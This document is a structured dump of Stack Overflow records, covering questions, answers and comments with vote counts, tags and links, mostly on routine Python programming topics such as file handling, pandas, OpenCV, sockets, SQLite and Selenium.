has answer: http://stackoverflow.com/a/49476478
upvote count: 2
possible better answer: http://stackoverflow.com/a/49470380
downvote count: 0
tagged with: python
has answer: http://stackoverflow.com/a/49470380
has comment: http://stackoverflow.com/comment/85943090
favorite count: 0
has body: Background: I am in the process of building a program that scrapes weather data from the internet, and displays it to the user as part of a GUI. The user will enter in their location details, specifically their PostCode or ZipNumber, City or Town, Latitude, and Longitude. The program will store these four pieces of information into a textfile, this is so that the details can be read each time the user wants to request weather data, instead of having to enter these details in on each request. The modules that this problem concerns are urllib, and BeautifulSoup. import urllib.request from bs4 import BeautifulSoup The Problem: I have successfully managed to store the user details into a text file, and also read from it. The code for inserting the data looks like this: userPostcode = postcodeEntry.get() userCity = cityEntry.get() userLat = latitudeEntry.get() userLong = longitudeEntry.get() file = open("LocationInfo.txt", 'w') file.write(str(userPostcode) + "\n") file.write(str(userCity) + "\n") file.write(str(userLat) + "\n") file.write(str(userLong)+ "\n") file.close() The structure of the data inside the textfile looks like this: SK15 IJF SOME TOWN 54.25 -122.312 The code for reading from the textfile looks like this: f=open('LocationInfo.txt') line=f.readlines() Post = line[0] Town = line[1] Lat = line[2] Long = line[3] f.close() The way I have inserted the values of these variables into the URL is by using this method: page_url = "https://www.metcheck.com/WEATHER/now_and_next.asp? zipcode=%s+%s&amp;lat=%s&amp;lon=%s" % (Post, Town, Lat, Long) soup = BeautifulSoup(urllib.request.urlopen(page_url), "lxml") *note the url is all on one line in the actual program. The Error: The error I am receiving is: Exception in Tkinter callback Traceback (most recent call last): Python\Python36-32\lib\http\client.py", line 279, in _read_status raise BadStatusLine(line) http.client.BadStatusLine: &lt;html&gt; This error only occurs whenever I try and use the variable names assigned …
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49476604
linked to: http://stackoverflow.com/q/5607551
answer count: 3
has answer: http://stackoverflow.com/a/49476604
has title: Copying data from a text-file, and inserting it into a URL
tagged with: urllib
type: Question
tagged with: python-3.x

http://stackoverflow.com/a/49442472
downvote count: 0
has comment: http://stackoverflow.com/comment/85886825
has comment: http://stackoverflow.com/comment/85886706
has comment: http://stackoverflow.com/comment/85886703
type: Answer
has comment: http://stackoverflow.com/comment/85886934
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/49442444
has body: &gt;&gt;&gt; j = [ { "A": 1, "B": "str" }, { "A": 2, "B": "str2" }, { "A": 3, "B": "str3" } ] &gt;&gt;&gt; [i.update({'C': 'X'}) for i in j] &gt;&gt;&gt; j [{'A': 1, 'B': 'str', 'C': 'X'}, {'A': 2, 'B': 'str2', 'C': 'X'}, {'A': 3, 'B': 'str3', 'C': 'X'}] Or, as per coldspeed's comment: &gt;&gt;&gt; for item in j: ... item['C'] = 'X' ... &gt;&gt;&gt; j [{'A': 1, 'B': 'str', 'C': 'X'}, {'A': 2, 'B': 'str2', 'C': 'X'}, {'A': 3, 'B': 'str3', 'C': 'X'}]

http://stackoverflow.com/q/49593615
has title: Python CSV: selecting specific row/column ranges
tagged with: python
has comment: http://stackoverflow.com/comment/86194768
type: AnsweredQuestion
tagged with: pandas
upvote count: 0
answer count: 1
downvote count: 3
tagged with: arrays
has answer: http://stackoverflow.com/a/49593647
accepted answer: http://stackoverflow.com/a/49593647
favorite count: 0
type: Question
tagged with: http://stackoverflow.com/tag/csv
score: -3
has body: I've been caught up on this for far longer than I'd care to admit. I'm working on one of my first projects, and it'll be fed new CSV data daily. The CSVs are consistent, all from the same trusted source. However the data I'm interested in starts on row 30 and varies in length; and in particular I'm interested in the 2nd, 4th, and 8th columns. I've tried using Pandas; however that gets caught up by the data sitting in rows 1-29 (much of which is blank). How do I read these specific ranges and copy to array or JSON?

http://stackoverflow.com/comment/86198141
score: 0
type: Comment
has text: You're not all the way there. What you say is true, but you also need to consider that PyTorch chains together the known backward functions.
type: AnswerComment
comment on: http://stackoverflow.com/a/49595311

http://stackoverflow.com/q/49478333
favorite count: 0
tagged with: opencv
score: 2
type: AnsweredQuestion
tagged with: python-2.7
has title: cv2.imread: how to keep color channel when reading in grayscale image
has body: i am trying to load an grayscale image with opencv2, but somehow the color channel gets completely removed. When i am doing: img = cv2.imread(PATH_TO_IMAGE, 1) // load image as rgb img.shape returns for example (28,28,3) But if i am loading the same image as grayscale: img = cv2.imread(PATH_TO_IMAGE, 0) // load image as grayscale img.shape returns (28,28), but i would expect/need a shape of (28,28,1) Is this a bug in opencv or am i missing something? Thanks in advance!
tagged with: opencv3.1
has comment: http://stackoverflow.com/comment/85961466
has answer: http://stackoverflow.com/a/49478349
accepted answer: http://stackoverflow.com/a/49478349
tagged with: python
type: Question
upvote count: 2
downvote count: 0
answer count: 1

http://stackoverflow.com/comment/86083923
has text: @ddor254 still the same
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49537837
type: QuestionComment

http://stackoverflow.com/q/49545409
favorite count: 0
upvote count: 3
score: 3
has title: Dotted Seaborn distplot
tagged with: seaborn
has body: I have a seaborn displot which looks like this I want to make some lines as dotted. How can I achieve this ? I tried to use linestyle in 2 different ways and got error #### approach 1 for x, m in x_list: sns.distplot(x, hist=False, label=m, linestyle='--') #### approach 2 for x, m in x_list: sns.distplot(x, hist=False, label=m, kde_kws={'linestyle':'--'}) TypeError: distplot() got an unexpected keyword argument 'linestyle'
tagged with: matplotlib
tagged with: python
tagged with: jupyter-notebook
type: Question
answer count: 2
downvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49545557
has answer: http://stackoverflow.com/a/49545876

http://stackoverflow.com/comment/86093704
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49468826
has text: This doesn't seem to be doing what I need. The iterated images from both functions need to be in sync with each other.

http://stackoverflow.com/comment/85953777
has text: @ImportanceOfBeingErnest The sound generated follows Gaussian shape, hence if I was to remove the noise (all those (0,0,0) points) it does have bell-shape
type: QuestionComment
comment on: http://stackoverflow.com/q/49475128
score: 0
type: Comment

http://stackoverflow.com/q/49492670
favorite count: 0
type: Question
has title: Can't set airflow's celery_result_backend setting to 'rpc://'
type: UnansweredQuestion
score: 1
tagged with: airflow
has answer: http://stackoverflow.com/a/49549447
tagged with: python
has body: Is 'rpc://' a valid value for the 'celery_result_backend' setting in airflow config? It doesn't seem to work. Assumed it works, as its a valid value in core celery config.
has comment: http://stackoverflow.com/comment/86892379
answer count: 1
downvote count: 0
upvote count: 1
tagged with: celery

http://stackoverflow.com/comment/86051794
comment on: http://stackoverflow.com/a/49522121
score: 0
type: Comment
type: AnswerComment
has text: But you didn't mention any error in your question. You said the code works for one image but you want it to work for all.

http://stackoverflow.com/a/49557745
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/49553905
score: 1
type: Answer
has body: This method will build the tree view recursively. def make_tree(self, folder): # folder here is a path to a folder root = self.populate(folder) self.tree_view.insertTopLevelItem(0, root) def populate(self, path): tree_item = QTreeWidgetItem() tree_item.setText(0, os.path.basename(path)) for file in os.listdir(path): if os.path.isdir(os.path.join(path, file)): tree_item.addChild(self.populate(os.path.join(path, file))) else: sub_item = QTreeWidgetItem() sub_item .setText(0, file) tree_item.addChild(sub_item ) return tree_item The make_tree method makes the root directory object and sets it as the top level object of the tree. The populate method builds the folder hierarchy recursively by creating a tree item out of the supplied path, then if that path is a directory, adding each sub item as a child of the new tree item. Be careful which folder you set as the root of this method, you could end up with many many thousands of tree items. It would be a good design idea to implement some sort of a depth limit.

http://stackoverflow.com/comment/86050752
comment on: http://stackoverflow.com/a/49522121
type: Comment
has text: It looks nice thank you. But in my code it converts image to gray with gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) . Here instead of word image, what am i supposed to write ? directory or something else ?
type: AnswerComment
score: 0

http://stackoverflow.com/a/49568282
has comment: http://stackoverflow.com/comment/86190487
has body: You're asking maya for the text box in the lines try: sys.stdin.readline() except KeyboardInterrupt: pass finally: controller.remove_listener(listener) But the input will block access to the scene. You should probably add a gesture to trigger the disconnection instead, that way you won't have anything to worry about from the text box. Without the SDK it's not easy to test, but something like this: class LeapMotionListener(Leap.Listener) : #... other code here def on_frame(self, controller): frame = controller.frame() for gesture in frame.gestures(): #.... other code here.... if gesture.type is Leap.Gesture.TYPE_SWIPE: controller.remove_listener(this) listener = LeapMotionListener() controller = Leap.Controller() controller.add_listener(listener)
type: Answer
answers question: http://stackoverflow.com/q/49565423
has comment: http://stackoverflow.com/comment/86175993
score: 0
has comment: http://stackoverflow.com/comment/86169038

http://stackoverflow.com/a/49527867
has comment: http://stackoverflow.com/comment/86061276
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/86062035
has comment: http://stackoverflow.com/comment/86061366
has body: There appears to be nothing wrong with your code. I just used it to create a simple test application # ClientSocket.py import socket MAX_BUFFER_SIZE = 4096 class ClientSocket: def __init__(self): print("Client socket started....") self.soc = None def send_to_Server(self, data): print('Time to send data to Server..... %s', data) self.soc.send(data.encode("utf8")) def receive_from_Server(self): print('Time to receive from Server.....') result_bytes = self.soc.recv(MAX_BUFFER_SIZE) result_string = result_bytes.decode("utf8") print("Result from server is {}".format(result_string)) def start_client(self): self.soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.soc.connect(("localhost", 8000)) print('Client connected....') cs = ClientSocket() cs.start_client() cs.send_to_Server('Hello') cs.receive_from_Server() here's a simple test server which just spits back some JSON data # test_server.py import socket from datetime import datetime import json def logMessage(clientMessage): logTime = datetime.today(); msg = "{} | {}\n".format(logTime, clientMessage) print msg TCP_PORT = 8000 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('localhost', TCP_PORT)) # listen() puts the socket into server mode, server.listen(1) while True: # wait for an incoming connection connection, address = server.accept() try: # receive data in chunks of 64 bytes while True: data = connection.recv(64) # how do we know if we received all the data? if data: # we received data from the client, log it to the file logMessage(data) response = { 'name' : 'Jonathan Swift', 'occupation' : 'author' } jsonResponse = json.dumps(response) messageLength = len(jsonResponse) bytesSent = 0 # send a response to the client after turning our dict into # a JSON string while(bytesSent &lt; messageLength): sent = connection.send(jsonResponse) bytesSent += sent else: # no data, break out of receiving loop break except Exception as e: raise finally: connection.close()
answers question: http://stackoverflow.com/q/49527766
has comment: http://stackoverflow.com/comment/86061497
has comment: http://stackoverflow.com/comment/86061730
upvote count: 2
score: 2

http://stackoverflow.com/q/49483908
tagged with: subprocess
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85973329
tagged with: adb
tagged with: python
downvote count: 1
favorite count: 0
score: 2
has body: I am trying to create an executable file for this program that I am writing, where it would be a standalone program that would not require python for it to work. In the program, I use the Android Debug Bridge (adb.exe). So I have this line of code in my script: ver = subprocess.call(r"C:\platform-tools-latest-windows\platform-tools\adb.exe shell getprop ro.build.version.release") I tried using pyinstaller and py2exe to make my script into an executable file, however, those fail to create a successful executable file where the adb runs properly. So my question is, how would I be able to incorporate a .exe file within another .exe file?
upvote count: 3
answer count: 1
has title: How to embed a .exe file as a resource within another .exe file in python?
has answer: http://stackoverflow.com/a/75286626
has comment: http://stackoverflow.com/comment/85988806
tagged with: exe
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/85973476

http://stackoverflow.com/q/49504143
tagged with: python
has body: For the code below, what's the value of the parameter algorithm = 1 mean? cv2.FlannBasedMatcher(dict(algorithm = 1, trees = 5), {}) Not able to find the meaning of it. Does it mean Randomized k-d Tree, Priority Search K-Means Tree or Hierarchical Clustering Tree?
type: AnsweredQuestion
score: 2
upvote count: 2
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/49510261
favorite count: 0
has answer: http://stackoverflow.com/a/49510261
type: Question
tagged with: opencv
has title: What is the meaning of the parameter "algorithm" passed to FlannBasedMatcher in OpenCV 3.4.0?

http://stackoverflow.com/comment/85988687
type: QuestionComment
comment on: http://stackoverflow.com/q/49492595
score: 1
type: Comment
has text: Possible duplicate of [Count number of occurrences of a given substring in a string](https://stackoverflow.com/questions/8899905/count-number-of-occurrences-of-a-given-substring-in-a-string)

http://stackoverflow.com/comment/86393842
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49686951
type: Comment
has text: Ok...a completely other solution could be to use Java.awt.Robot class? It's not addicted to a browser.

http://stackoverflow.com/comment/86002985
type: Comment
comment on: http://stackoverflow.com/q/49497544
type: QuestionComment
has text: It would probably be easier to transfer a simpler hashing function between languages. Assuming that you do not need a cryptographic hash, then I like the [FNV hash](http://www.isthe.com/chongo/tech/comp/fnv/) which has the additional advantage of coming in a variety of sizes, so you have more flexibility. Note the difference between FNV1 and FNV1a, be sure to specify what variant you want to use.
score: 0

http://stackoverflow.com/comment/86061317
comment on: http://stackoverflow.com/a/49527904
type: Comment
type: AnswerComment
has text: That is not how classes work in python. You don't need to declare class variables in that way. Also the problem has to do with `self`, not with `soc`
score: 1

http://stackoverflow.com/comment/85998211
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49496014
has text: please check the answer that I have added.
score: 0

http://stackoverflow.com/a/49538308
has comment: http://stackoverflow.com/comment/86086772
has comment: http://stackoverflow.com/comment/86085112
answers question: http://stackoverflow.com/q/49536460
has comment: http://stackoverflow.com/comment/86088241
has comment: http://stackoverflow.com/comment/86086129
type: Answer
has comment: http://stackoverflow.com/comment/86123153
has body: Since you're running SQLite 3.7.17, I'd recommend to just use a temporary table. Create and populate your temporary table. cursor.executescript(""" CREATE TEMP TABLE control_list ( Chromosome TEXT NOT NULL, hg19_coordinate TEXT NOT NULL ); CREATE INDEX control_list_idx ON control_list (Chromosome, hg19_coordinate); """) cursor.executemany(""" INSERT INTO control_list (Chromosome, hg19_coordinate) VALUES (?, ?) """, matchIds_list) Just constrain your query to the control list temporary table. SELECT Family FROM Table2 INNER JOIN Table1 ON Table1.idSequence = Table2.idSequence -- Constrain to control_list. WHERE EXISTS ( SELECT * FROM control_list WHERE control_list.Chromosome = Table1.Chromosome AND control_list.hg19_coordinate = Table1.hg19_coordinate ) And finally perform your query (there's no need to format this one). cursor.execute(query) # Remove the temporary table since we're done with it. cursor.execute(""" DROP TABLE control_list; """) Short Query (requires SQLite 3.15): You actually almost had it. You need to make the IN ({seq}) a subquery expression. SELECT Family FROM Table2 INNER JOIN Table1 ON Table1.idSequence = Table2.idSequence WHERE (Table1.Chromosome, Table1.hg19_coordinate) IN (VALUES {seq}); Long Query (requires SQLite 3.8.3): It looks a little complicated, but it's pretty straight forward. Put your control list into a sub-select, and then constrain that main select by the control list. SELECT Family FROM Table2 INNER JOIN Table1 ON Table1.idSequence = Table2.idSequence -- Constrain to control_list. WHERE EXISTS ( SELECT * FROM ( SELECT -- Name the columns (must match order in tuples). "" AS Chromosome, ":1" AS hg19_coordinate FROM ( -- Get control list. VALUES {seq} ) AS control_values ) AS control_list -- Constrain Table1 to control_list. WHERE control_list.Chromosome = Table1.Chromosome AND control_list.hg19_coordinate = Table1.hg19_coordinate ) Regardless of which query you use, when formatting the SQL replace {seq} with (?,?) for each comps…
has comment: http://stackoverflow.com/comment/86086307
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/86086949
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49536460
has comment: http://stackoverflow.com/comment/86086568

http://stackoverflow.com/comment/85957882
score: 0
comment on: http://stackoverflow.com/q/49477640
type: Comment
has text: I edited my question
type: QuestionComment

http://stackoverflow.com/comment/86033786
type: QuestionComment
comment on: http://stackoverflow.com/q/49514374
has text: Why not use a list of lists from the start? Or use a dict to keep track of your lists, then you can iterate it to build your list of lists.
score: 0
type: Comment

http://stackoverflow.com/comment/86064168
comment on: http://stackoverflow.com/a/49528711
type: AnswerComment
has text: yeah, the book is very wrong !! Maybe the author wants you to learn python the hard way by feeding you bulls**t :)
score: 0
type: Comment

http://stackoverflow.com/comment/86002380
has text: Please include the relevant error messages within your question, if you have questions please review [How to create a Minimal, Complete, and Verifiable example](https://stackoverflow.com/help/mcve)
comment on: http://stackoverflow.com/q/49498932
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49594874
has body: Problem The AttributeError: 'MasterControl' object has no attribute 'loginUser' was due to the class MasterControl was not instantiated. Solutions There are two solutions. The first solution assumed that MasterControl is the root widget.The second solution assumed that LoginWidget is the root widget. Please refer to the snippets and output for details. Solution 1 - masterControl.py Add from kivy.properties import ObjectProperty. Add from login import LoginWidget Define m_currentUser as an ObjectProperty and initialized it to None. Add LoginWidget to MasterControl. Snippets from kivy.properties import ObjectProperty from login import LoginWidget class MasterControl(BoxLayout): m_currentUser = ObjectProperty(None) def __init__(self, **kwargs): super(MasterControl, self).__init__(**kwargs) self.add_widget(LoginWidget()) Solution 1 - login.py Remove/Comment off from coreAPI.mastercontrol import MasterControl. Solution 2 - login.py Add from kivy.properties import ObjectProperty. Define an ObjectProperty e.g. masterControl. Instantie the class MasterControl and hook it up to the new ObjectProperty, masterControl. Replace self.parent.loginUser(emp) with self.masterControl.loginUser(emp) Snippets from kivy.properties import ObjectProperty class LoginWidget(AnchorLayout): masterControl = ObjectProperty(None) def __init__(self, **kwargs): super(LoginWidget, self).__init__(**kwargs) self.masterControl = MasterControl() def loginBtnHandle(instance): empList = getEmployees() for emp in empList: if emp.m_aNum == uNameInput.text: if emp.authenticate(pWordInput.text): self.masterControl.loginUser(emp) Solution 2 - masterControl.py Add from kivy.properties import ObjectProperty. Define m_currentUser as an ObjectProperty and initialized it to None. Snippets from kivy.properties import ObjectProperty class MasterControl(BoxLayout): m_currentUser = ObjectProperty(None) def __init__(self, **kwargs): super(MasterControl, self).__init__(**kwargs) def loginUser(self, emp): self.m_currentUs…
type: Answer
score: 0
answers question: http://stackoverflow.com/q/49591635

http://stackoverflow.com/a/51893944
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/90739064
answers question: http://stackoverflow.com/q/49546769
has comment: http://stackoverflow.com/comment/135270376
score: 2
has body: I think hide_index() may help with dropping the index on your first method. From the docs, The index can be hidden from rendering by calling Styler.hide_index. Columns can be hidden from rendering by calling Styler.hide_columns and passing in the name of a column, or a slice of columns. So the following should work, .... .hide_index().render()
type: Answer
has comment: http://stackoverflow.com/comment/90752880

http://stackoverflow.com/q/49510430
upvote count: 0
downvote count: 3
has comment: http://stackoverflow.com/comment/86025025
answer count: 1
accepted answer: http://stackoverflow.com/a/49511832
has answer: http://stackoverflow.com/a/49511832
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86025092
has comment: http://stackoverflow.com/comment/86026308
tagged with: python
has title: Undefined thing in my python program
has body: Its an absolutely abhorrent and awful code, and I have no real idea on how to proceed, I'm rather lost here and this undefined variable is only causing immense stress. The finalists variable is an imported list from a CSV, and for some reason it's undefined, an explanation and steps to fix this would be extremely helpful. def finalistsOpen(): import csv with open('Diving championship_Finalists csv file.csv', 'rb') as f: reader = csv.reader(f) finalists = list(reader) print finalists return finalists def scoreCalculator(finalists): scores = [] sortedScores = [] for number in range(5): print ("Please enter a score for " + finalists[number]) print ("---------------------------------------------------------------------------------------------------------------") for number in range(5): scores.append(validation(0,10)) maxScore = scores[0] minScore = scores[0] for number in scores: if number &gt; maxScore: maxScore = number elif number &lt; minScore: minScore = number scores.remove[minScore] scores.remove[maxScore] sumScore = sum[scores] sortedScores.append(sumScore) return sortedScores,sumScore print scores print sumScore print sortedScores finalistsOpen() scoreCalculator(finalists) This is the error message: Traceback (most recent call last): File "N:\Computing Assignment 2018\Finalist.py", line 40, in &lt;module&gt; scoreCalculator(finalists) NameError: name 'finalists' is not defined
has comment: http://stackoverflow.com/comment/86026972
score: -3
has comment: http://stackoverflow.com/comment/86028513
has comment: http://stackoverflow.com/comment/86026924
has comment: http://stackoverflow.com/comment/86026371
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86028460

http://stackoverflow.com/a/49536284
has comment: http://stackoverflow.com/comment/86087938
has comment: http://stackoverflow.com/comment/86121770
has comment: http://stackoverflow.com/comment/86082411
has comment: http://stackoverflow.com/comment/86085436
has body: Example version: ids = [1, 2, 3, 2] other_id = [1, 2, 3] id_generator = (id for id in ids) # this is a generator, needs the brackets while True: try: id = next(id_generator) except StopIteration: break try: print(other_id[id]) except Exception as e: # this will happen when id = 3, and is not a valid index in other_id continue A version for your code id_generator = (id for id in ids) # this is a generator, needs the brackets while True try: id = next(id_generator) except StopIteration: break try: driver.find_element_by_xpath('//*[@id="print_area"]/table/tbody/tr[16]/td[1]/a').click() driver.find_element_by_xpath('//*[@id="print_area"]/table/tbody/tr[4]/td[3]/a').click() # searching for an id. driver.find_element_by_xpath('//*[@id="ctl00_ctl00_cphMain_cphMain_txtEmprAcctNu"]').send_keys(id) driver.find_element_by_id('ctl00_ctl00_cphMain_cphMain_btnSearch').click() driver.find_element_by_xpath('//*[@id="ctl00_ctl00_cphMain_cphMain_grdAgentEmprResults"]/tbody/tr[2]/td[1]/a').click() #navigating to the profile driver.find_element_by_xpath('//*[@id="print_area"]/table/tbody/tr[8]/td[3]/a').click() driver.find_element_by_xpath('//*[@id="print_area"]/table/tbody/tr[4]/td[1]/a').click() #copying the and storing the date subdate = driver.find_element_by_id('ctl00_ctl00_cphMain_cphMain_frmViewAccountProfile_lblSubjectivityDate').text subjectivitydate.append(subdate) #exiting current details driver.find_element_by_id('ctl00_ctl00_cphMain_ULinkButton4').click() sleep(1) except Exception as e: continue
has comment: http://stackoverflow.com/comment/86084960
has comment: http://stackoverflow.com/comment/86084173
has comment: http://stackoverflow.com/comment/86082311
type: Answer
has comment: http://stackoverflow.com/comment/86085578
has comment: http://stackoverflow.com/comment/86082778
has comment: http://stackoverflow.com/comment/86084787
has comment: http://stackoverflow.com/comment/86079433
has comment: http://stackoverflow.com/comment/86124592
has comment: http://stackoverflow.com/comment/86081471
answers question: http://stackoverflow.com/q/49536181
score: 0
has comment: http://stackoverflow.com/comment/86084000
has comment: http://stackoverflow.com/comment/86084597
has comment: http://stackoverflow.com/comment/86084327
has comment: http://stackoverflow.com/comment/86083063
has comment: http://stackoverflow.com/comment/86084466
has comment: http://stackoverflow.com/comment/86079520
has comment: http://stackoverflow.com/comment/86083180
has comment: http://stackoverflow.com/comment/86085958
has comment: http://stackoverflow.com/comment/86080490

http://stackoverflow.com/a/61176373
has body: This happens due to the translation limit. You can either use VPNs or Tor to bypass the limitation. However, you can circumvent this by using the translingual python package. Also, the language codes can be accessed here, language codes. from translingual import translate # example trans = translate.translate(data=['hello world', 'the world is yours', 'whatever you do, whatever I do', '2b or not 2b'],tolang='es',fromlang='en',thread=3) print(trans.translate())
upvote count: 1
answers question: http://stackoverflow.com/q/49497391
downvote count: 0
score: 1
type: Answer

http://stackoverflow.com/comment/93184177
type: Comment
has text: It was a user problem, just not with IIS: we needed a domain user to talk across the network to the DB server. :P
type: AnswerComment
comment on: http://stackoverflow.com/a/49860438
score: 1

http://stackoverflow.com/q/49477881
type: Question
has comment: http://stackoverflow.com/comment/85958397
upvote count: 0
answer count: 2
has answer: http://stackoverflow.com/a/49477911
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/49477920
has title: Two Slices for Nested List
favorite count: 0
has comment: http://stackoverflow.com/comment/85959583
downvote count: 1
score: -1
has body: There is one nested list [[1, 1], [2, 2], [3, 3], [4,4]]. I would like to iterate the list by three slices. I belong to [0, 3], j=i-1, k=i-2 For example: slice 1: [3, 3], [4, 4] slice 2: [2, 2], [3, 3] slice 3: [1, 1], [2, 2] How can I do it?

http://stackoverflow.com/a/49468946
has comment: http://stackoverflow.com/comment/85942732
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has body: If you extract a couple of variables from the initial page you can use themto make a request to the api directly. Then you get a json object which you can use to get the data. import requests import re import json from pprint import pprint s = requests.session() r = s.get('http://data.eastmoney.com/xg/xg/detail/300741.html?tr_zqh=1') gdpm = re.search('var gpdm = \'(.*)\'', r.text).group(1) token = re.search('http://dcfm.eastmoney.com/em_mutisvcexpandinterface/api/js/get\?type=XGSG_ZQH&amp;token=(.*)&amp;st=', r.text).group(1) url = "http://dcfm.eastmoney.com/em_mutisvcexpandinterface/api/js/get?type=XGSG_ZQH&amp;token=" + token + "&amp;st=LASTFIGURETYPE&amp;sr=1&amp;filter=%28securitycode='" + gdpm + "'%29&amp;js=var%20zqh=%28x%29" r = s.get(url) j = json.loads(r.text[8:]) for i in range (len(j)): print ( j[i]['LOTNUM']) #pprint(j) Outputs: 9775,2275,4775,7275 03881,23881,43881,63881,83881,16913,66913 313110,563110,813110,063110 4210962,9210962,9785582 63262036 080876872
has comment: http://stackoverflow.com/comment/85944945
score: 2
answers question: http://stackoverflow.com/q/49467167
accepted answer of: http://stackoverflow.com/q/49467167
has comment: http://stackoverflow.com/comment/85954362
type: Answer

http://stackoverflow.com/comment/86186502
has text: Doc means into a txt file or ms word document
score: 0
comment on: http://stackoverflow.com/q/49589377
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49589270
type: Answer
score: 0
has body: Python3.5 Convert your strings first: procfiles = [s.encode('utf-8', errors='surrogateescape').decode('utf-8') for s in procfiles] Python 3.6 You can specify with errors='surrogateescape' that this error is ignored: process = subprocess.Popen(args, shell=False, errors='surrogateescape')
has comment: http://stackoverflow.com/comment/86210255
has comment: http://stackoverflow.com/comment/86210376
has comment: http://stackoverflow.com/comment/86208450
answers question: http://stackoverflow.com/q/49588797

http://stackoverflow.com/q/49450481
answer count: 1
tagged with: count
upvote count: 1
downvote count: 1
accepted answer: http://stackoverflow.com/a/49450537
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49450537
score: 0
tagged with: pandas
has title: Value count dataframe with different dataframes and result in different columns (pandas)
tagged with: dataframe
tagged with: python
favorite count: 0
type: Question
has body: I am relatively new to python/pandas. I have two dataframes that I want to merge together. The first dataframe look like: var1 var2 EA-0123 A01 EC-0124 A03 EC-0124 A03 ED-0125 A02 ED-0125 A01 and the second: var1 A01 A02 A03 EA-0123 0 0 0 EB-0124 0 0 0 EC-0124 0 0 0 ED-0125 0 0 0 I want to count the amount of times var1 has a certain value for var2 and get an output that would look like: var1 A01 A02 A03 EA-0123 1 0 0 EB-0124 0 0 0 EC-0124 0 0 2 ED-0125 1 1 0 The second dataframe contains data that does not always appear in the first dataframe but I would like to keep those rows, even if the columns all indicate "0". I tried to make an if elif else loop but couldn't get it to work (maybe due to the fact that there are two dataframes?), and couldn't find any other problem like this..

http://stackoverflow.com/comment/86034837
type: Comment
score: 0
type: AnswerComment
has text: I tried this method but I am getting error: "TypeError: write() takes 1 positional argument but 2 were given". After I define Delagator I am running: console='' sys.stdout = Delegator(sys.stdout, console) print('hi')
comment on: http://stackoverflow.com/a/49500356

http://stackoverflow.com/q/49599623
has title: Python search string from output variable and print next two lines
answer count: 5
score: 1
has answer: http://stackoverflow.com/a/49599959
tagged with: python
possible better answer: http://stackoverflow.com/a/49599713
has body: How do I Search string from command output and print next two lines from the output. Below is code: a = """ Some lines I do not want ----- -------- -- I need this line I need this line also Again few lines i do not want """ for line in a.split("\n"): if line.startswith("----"): print "I need this line" print "I need this line also" What I am doing in above code is I am checking if line starts with "----" and This works fine. Now How do i print exactly two lines after line starts with "----". In this example code print, " I need this line and I need this line also"
type: AnsweredQuestion
tagged with: python-2.7
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/49599785
accepted answer: http://stackoverflow.com/a/49599785
has answer: http://stackoverflow.com/a/49599715
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49599713
has answer: http://stackoverflow.com/a/49599753

http://stackoverflow.com/comment/86041431
has text: updated the answer. Please update the question asking your current requirement, that would help fellow stackoverflow users
type: AnswerComment
comment on: http://stackoverflow.com/a/49515980
type: Comment
score: 0

http://stackoverflow.com/q/49574246
has body: I am plotting a DICOM slice from a CT on which I want to draw a Region of Interest (ROI). The problem is that I didn't succeed into displaying this ROI over my background DICOM image yet. The idea is to finally draw a colored circle on my background DICOM image. Here is the code: import numpy as np import matplotlib.pyplot as plt ArrayDicom = np.ones((512, 512, 148)) plt.figure(figsize=(3, 3), dpi=300) plt.axes().set_aspect('equal', 'datalim') plt.axis('off') plt.set_cmap(plt.gray()) x = np.arange(0, 512, 1) y = np.arange(0, 512, 1) plt.pcolormesh(x, y, np.flipud(ArrayDicom[:, :, 0])) # ArrayDicom = Image 3D Array nx, ny, nz = (512, 512, 148) # Grid creation x, y = np.ogrid[:nx, :ny] # Mask creation radius = 5 x_center, y_center = (2, 2) contour = (x - x_center) ** 2 + (y - y_center) ** 2 == radius ** 2 mask_contour = np.zeros((nx, ny, nz)) mask_contour[:, :, 0][contour] = 1 ax = plt.gca() ax.plot(mask_contour[:, :, 0], color='red') plt.show() I used this tutorial https://pyscience.wordpress.com/2014/09/08/dicom-in-python-importing-medical-image-data-into-numpy-with-pydicom-and-vtk/ to display my DICOM images. I think I just miss a way of plotting my datas. I know I can use plt.Circle but I would like to deal with sphere instead of circle next. Thanks for help.
has comment: http://stackoverflow.com/comment/86156769
type: UnansweredQuestion
tagged with: arrays
has comment: http://stackoverflow.com/comment/86160355
tagged with: python
has comment: http://stackoverflow.com/comment/86158308
score: 0
has title: Add a array-based figure over an image with pyplot
has comment: http://stackoverflow.com/comment/86159482
answer count: 0
has comment: http://stackoverflow.com/comment/86160900
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/86156119
has comment: http://stackoverflow.com/comment/86157115
has comment: http://stackoverflow.com/comment/86158914
type: Question
has comment: http://stackoverflow.com/comment/86156688

http://stackoverflow.com/comment/86059946
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49527190
has text: you can use `lxml` or `BeautifulSoup` configured as a `xml` parser
type: Comment

http://stackoverflow.com/q/49442085
tagged with: webdriverwait
type: Question
has comment: http://stackoverflow.com/comment/86737437
has comment: http://stackoverflow.com/comment/85886687
has comment: http://stackoverflow.com/comment/85886112
